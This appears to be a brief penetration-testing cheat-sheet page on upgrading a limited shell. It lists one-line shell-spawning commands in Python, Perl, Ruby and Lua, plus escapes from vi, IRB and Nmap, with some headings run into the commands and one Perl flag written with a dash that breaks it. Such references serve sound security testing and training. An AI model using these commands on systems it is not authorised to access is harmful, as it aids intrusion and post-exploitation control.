Upgrade Shell
Shell Spawning
Python
python -c 'import pty;pty.spawn("/bin/bash")'Echo
echo os.system('/bin/bash')/bin/sh
/bin/sh -iPerl
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";Ruby
ruby: exec "/bin/sh"Lua
lua: os.execute('/bin/sh')Exec from within IRB
exec "/bin/sh"From within vi
:!bash
:set shell=/bin/bash:shellFrom within Nmap
!shLast updated
Was this helpful?